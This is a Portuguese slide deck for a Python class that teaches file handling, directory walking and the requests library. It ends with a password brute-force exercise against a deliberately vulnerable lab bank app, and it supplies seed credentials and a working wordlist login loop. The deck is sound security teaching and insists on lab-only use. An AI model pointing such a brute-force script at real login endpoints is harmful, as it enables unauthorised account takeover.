

UC11 · AULA 21/09

Requests, arquivos e o primeiro brute force

Do **open()** ao ataque de força bruta contra uma API real, em pequenos passos práticos.

Alvo da aula

NexusBank Corporate

Como

Python puro, sem classes

O caminho de hoje

01

Arquivos

Ler e escrever .txt e .csv

02

Diretórios

Navegar pastas com o
módulo os

03

Requests

Bater num endpoint e ler
a resposta

04

Brute force

Wordlist + requests,
tudo junto

Cada bloco termina com exercício prático. A teoria é curta; o teclado fica ligado o tempo todo.

Ao final da aula, você sabe...

- ✓ Ler e escrever arquivos de texto e CSV em Python
- ✓ Navegar e listar arquivos de pastas do computador via código
- ✓ Fazer requisições HTTP com **requests** e interpretar a resposta
- ⚠ Combinar tudo isso para automatizar um teste de força bruta de login

O ALVO DE HOJE

NexusBank Corporate

A mesma aplicação que já conhecem (banco + login), rodando no servidor do professor.
Propositalmente vulnerável, só para esta aula.

Endereço

`http://<IP-do-professor>:8002`

Anotem o IP passado em aula. Testem o acesso antes de começar os exercícios.

Usuários de teste (seed)

usuário	senha	papel
ana	123456	cliente
bruno	senha123	cliente
admin	admin123	admin

Antes de começar: regra número um

Tudo que fizermos hoje só pode ser apontado para o **servidor do laboratório**, com a rede isolada e autorização explícita desta aula.

Nunca aponte essas técnicas para:
sistemas de terceiros, sites reais, ou qualquer coisa
fora desta rede.

Base legal:
Marco Civil da Internet e Art. 154-A do Código Penal
(invasão de dispositivo informático).

BLOCO 01

Arquivos

Ler, escrever e entender por que quase toda automação começa (ou termina) lendo um arquivo.

O que é um arquivo, para o Python

Um arquivo é só um monte de texto (ou bytes) salvo no disco, com um **nome** e um **caminho** (path).

Se o arquivo está na **mesma pasta** do seu script, basta o nome: "alunos.txt"

Se está em outro lugar, use o caminho completo ou relativo: "dados/alunos.txt"

```
# pasta do exercicio
aula_arquivos/
    script.py
    alunos.txt
dados/
    alunos.csv
```

Abrindo um arquivo: `open()`

```
# o jeito seguro: "with" fecha o arquivo sozinho
with open("alunos.txt", "r", encoding="utf-8") as arquivo:
    for linha in arquivo:
        print(linha)
```

"r"
abre para **leitura** (o padrão)

encoding="utf-8"
evita erro com acentos (çãõ, é, ã)

with
fecha o arquivo automaticamente ao
final do bloco

EXERCÍCIO 1 10 minutos

Leia um .txt e imprima cada nome

1. Crie um arquivo `alunos.txt` com um nome por linha:

```
Ana  
Bruno  
Carlos
```

2. Escreva um script que abre esse arquivo e imprime cada nome no terminal.

3. **Desafio:** imprima também em qual linha (1, 2, 3...) cada nome está.

```
# dica de ponto de partida  
with open("alunos.txt", encoding="utf-8") as arq:  
    for linha in arq:  
        print(linha.strip())
```

`strip()` remove o `\n` do final da linha

Três jeitos de ler um arquivo

`read()`

Devolve tudo como **uma string só**, com `\n` no meio

```
conteudo = arq.read()
```

`readlines()`

Devolve uma **lista de strings**, uma por linha

```
linhas = arq.readlines()
```

`for linha in arq`

Percorre **linha a linha**, sem carregar tudo na memória

```
for linha in arq:  
    ...
```

Para arquivos grandes (tipo uma wordlist com milhões de senhas), **for linha in arq** é a melhor opção — não trava a memória do computador.

EXERCÍCIO 2 10 minutos

Conte informações do arquivo

1. Usando o mesmo `alunos.txt`, imprima quantos nomes existem no total.
2. Depois, conte quantos nomes começam com a letra "A".
3. **Desafio:** peça ao usuário uma letra com `input()` e conte quantos nomes começam com ela.

```
# dica
total = 0
with open("alunos.txt", encoding="utf-8") as arq:
    for linha in arq:
        total = total + 1
print("Total:", total)
```

Escrevendo em arquivos

"w"

write — **apaga tudo** que já existia e escreve do zero

"a"

append — **adiciona no final**, sem apagar o que já tinha

"x"

cria um arquivo novo — dá **erro** se ele já existir

```
# exemplo
with open("saida.txt", "w", encoding="utf-8") as arq:
    arq.write("Primeira linha\n")
```

EXERCÍCIO 3 10 minutos

Escreva uma lista em um arquivo

1. Crie uma lista Python com pelo menos 5 nomes.
2. Escreva um script que salva essa lista em `nomes.txt`, um nome por linha.
3. Abra o arquivo gerado (no VS Code ou no terminal) e confira o resultado.
4. **Desafio:** numere as linhas (1. Ana, 2. Bruno...).

```
# dica
nomes = ["Ana", "Bruno", "Carlos"]
with open("nomes.txt", "w", encoding="utf-8")
as arq:
    for nome in nomes:
        arq.write(nome + "\n")
```

EXERCÍCIO 4 15 minutos

Simule um log de eventos

1. Crie um script que, toda vez que rodar, **adiciona** uma linha em **log.txt** com a hora atual.
2. Rode o script 3 vezes seguidas e confira que o arquivo **crece**, sem apagar as linhas anteriores.
3. **Desafio:** registre também uma mensagem diferente a cada chamada (ex.: "login ok", "login falhou").

```
# dica
from datetime import datetime

def registrar(mensagem):
    agora = datetime.now().strftime("%H:%M:%S")
    with open("log.txt", "a", encoding="utf-8")
as arq:
        arq.write(f"{agora} - {mensagem}\n")

registrar("Script iniciado")
```

Isso é exatamente o que a aplicação NexusBank faz com cada tentativa de login

CSV é só um .txt organizado em colunas

CSV = **Comma-Separated Values**. Cada linha é um registro; cada valor é separado por vírgula.

A primeira linha, geralmente, é o **cabeçalho** (nome das colunas).

Dá pra abrir em qualquer editor de texto — e também no Excel/Google Sheets.

```
# alunos.csv  
nome,idade,curso  
Ana,22,Redes  
Bruno,25,Seguranca  
Carlos,19,Seguranca
```

EXERCÍCIO 5 15 minutos

Leia um CSV e imprima colunas

1. Crie o arquivo `alunos.csv` do slide anterior.
2. Use o módulo `csv` para ler o arquivo e imprimir só o nome e o curso de cada aluno.
3. **Desafio:** imprima só os alunos do curso "Seguranca".

```
# dica
import csv

with open("alunos.csv", encoding="utf-8") as arq:
    leitor = csv.DictReader(arq)
    for linha in leitor:
        print(linha["nome"], linha["curso"])
```

EXERCÍCIO 6 • DESAFIO 15 minutos

Escreva o seu próprio CSV

1. Crie uma lista de dicionários em Python, cada um com "nome" e "idade".
2. Salve essa lista em um arquivo `saida.csv`, com cabeçalho.
3. Abra o resultado e confira se ficou correto.

```
# dica
import csv

alunos = [{"nome": "Ana", "idade": 22}]

with open("saida.csv", "w", newline="", encoding="utf-8") as arq:
    escritor = csv.DictWriter(arq, fieldnames=
["nome", "idade"])
    escritor.writeheader()
    escritor.writerows(alunos)
```

BLOCO 02

Diretórios

Antes de ler um arquivo, o script precisa saber onde ele está. Vamos navegar pastas com Python.

O módulo **os**

```
import os

print(os.listdir("."))
print(os.path.exists("nomes.txt"))
print(os.path.join("dados", "nomes.txt"))
```

os.listdir(".")

lista tudo que tem na pasta atual

os.path.exists(x)

True/False se o caminho existe

os.path.join(a, b)

monta o caminho certo pro
sistema operacional

EXERCÍCIO 7 10 minutos

Liste só os arquivos .txt de uma pasta

1. Na pasta do exercício, crie alguns arquivos extras (.txt, .csv, .py).
2. Escreva um script que lista **só os arquivos que terminam em .txt**.
3. **Desafio:** conte quantos arquivos de cada extensão existem na pasta.

```
# dica
import os

for nome_arquivo in os.listdir("."):
    if nome_arquivo.endswith(".txt"):
        print(nome_arquivo)
```

Entrando nas subpastas: `os.walk()`

`os.listdir()` só olha a pasta atual. Para entrar nas subpastas também, usamos `os.walk()`.

Ele devolve, para cada pasta visitada: o caminho, as subpastas e os arquivos ali dentro.

```
import os

for pasta, subpastas, arquivos in os.walk("."):
    print("Pasta:", pasta)
    print("Arquivos:", arquivos)
```

EXERCÍCIO 8 · DESAFIO 15 minutos

Encontre o arquivo "esquecido"

1. Crie 2 ou 3 subpastas dentro da pasta do exercício.
2. Esconda um arquivo `senhas.txt` dentro de uma delas.
3. Escreva um script que percorre todas as pastas com `os.walk()` e diz **exatamente onde** o arquivo está.

```
# dica
import os

alvo = "senhas.txt"
for pasta, subpastas, arquivos in os.walk("."):
    if alvo in arquivos:
        caminho = os.path.join(pasta, alvo)
        print("Encontrado em:", caminho)
```

Isso simula a fase de enumeração de um teste de intrusão real

BLOCO 03

Requests

Agora o script vai conversar com uma aplicação de verdade pela rede: o NexusBank.

A biblioteca **requests**

É a forma mais comum de um script Python **conversar com uma API** pela internet ou pela rede local.

Faz exatamente o que o navegador faz quando você acessa um site — só que sem interface, direto no código.

```
# instalar, uma vez so  
pip install requests  
# usar no script  
import requests
```

O primeiro GET

```
import requests

resposta = requests.get("http://IP:8002/api/saude")

print(resposta.status_code)
print(resposta.json())
```

`status_code`

o número que diz se deu certo (200)
ou errado (404, 401, 500...)

`.json()`

converte a resposta em
dicionário/lista Python

`.text`

a resposta crua, como texto puro

EXERCÍCIO 9 10 minutos

Bata no primeiro endpoint de verdade

1. Troque **IP** pelo endereço do servidor do professor.
2. Faça um GET em **/api/saude** e imprima o status code e o JSON.
3. **Desafio:** tente um caminho que não existe (ex.: /nada) e veja o status code que volta.

Resposta esperada

200

```
{"status": "ok", "sistema": "NexusBank  
Corporate"}
```

POST com JSON: fazendo login

```
import requests

dados = {"usuario": "ana", "senha": "123456"}
resposta = requests.post("http://IP:8002/login", json=dados)

print(resposta.status_code)
print(resposta.json())
```

O parâmetro `json=dados` já converte o dicionário para JSON e configura o cabeçalho certo sozinho.

EXERCÍCIO 10 10 minutos

Logue de verdade na aplicação

1. Use o script anterior para logar com **ana / 123456** em **/login**.
2. Confira: o status foi **200**? O que apareceu no JSON de resposta?
3. **Desafio:** repita com **bruno / senha123**.

Resposta esperada (200)

```
{"ok": true, "usuario": "ana",  
  "papel": "cliente", "token": "..."}  
}
```

E quando a senha está errada?

Senha certa

`status_code = 200`

`{"ok": true, ...}`

Senha errada

`status_code = 401`

`{"detail": "Usuario ou senha invalidos."}`

É exatamente essa diferença — **200** vs **401** — que um script de brute force usa para saber se acertou a senha.

EXERCÍCIO 11 15 minutos

Teste várias senhas em loop

1. Crie uma lista com 3 senhas: uma delas certa para a **ana**, duas erradas.
2. Para cada senha da lista, faça um POST em **/login** e imprima a senha testada junto com o status code.
3. **Desafio:** pare o loop assim que encontrar o status 200.

```
# dica
senhas = ["111111", "123456", "abc123"]

for senha in senhas:
    dados = {"usuario": "ana", "senha": senha}
    resposta = requests.post(url, json=dados)
    print(senha, "→", resposta.status_code)
```

Parabéns: você acabou de escrever a base de um brute force

BLOCO 04

Brute force

Arquivo + requests, juntos: ler uma wordlist e testar cada senha contra o login.

A receita do brute force

PASSO 1

Ler uma wordlist (arquivo .txt com uma senha por linha)



PASSO 2

Para cada senha, enviar um POST para /login



PASSO 3

Conferir o status_code: 200 = achou a senha

Nada disso é novo: é o exercício 1 (ler arquivo) + o exercício 11 (loop de requests), só que com uma lista maior.

EXERCÍCIO 12 15 minutos

Monte sua primeira wordlist e ataque

1. Crie `senhas.txt` com 5 senhas, uma por linha, incluindo a certa de `ana` (123456).
2. Junte a leitura de arquivo com o loop de requests: para cada senha do arquivo, tente logar.
3. Quando achar a senha certa, imprima uma mensagem de sucesso e pare o loop.

```
# dica
with open("senhas.txt", encoding="utf-8") as arq:
    senhas = [linha.strip() for linha in arq]

for senha in senhas:
    dados = {"usuario": "ana", "senha": senha}
    r = requests.post(url, json=dados)
    if r.status_code == 200:
        print("SENHA ENCONTRADA:", senha)
        break
```

DESAFIO FINAL 20 minutos

Ataque o usuário admin, com registro completo

1. Agora o alvo é **admin**, na rota **/admin/login** (não é a mesma rota do exercício anterior!).
2. Use uma wordlist maior (peça ao professor um arquivo com mais senhas comuns).
3. A cada tentativa, grave em **resultado.txt**: a senha testada e o status code.
4. Ao final, imprima: quantas tentativas foram feitas e quanto tempo levou.

Pistas úteis

- `time.time()` antes e depois do loop, para medir a duração
- abra o log com "a" e escreva uma linha por tentativa
- o script pronto **bruteforce_login.py** (material da aula) já faz tudo isso — comparem com o que vocês fizeram

E depois de hoje?



Ferramentas prontas

Vamos ver o **Hydra**, ferramenta profissional de brute force, e comparar com o que vocês construíram hoje.



Lado blue team

Os ataques de hoje ficaram registrados nos logs do NexusBank. Vamos analisá-los para detectar o padrão de ataque.

Em uma aula, vocês foram de `open()` a um brute force real

Arquivos

Diretórios

Requests

Brute force

Dúvidas? Guardem os scripts de hoje — vamos usá-los de novo na aula do Hydra e do blue team.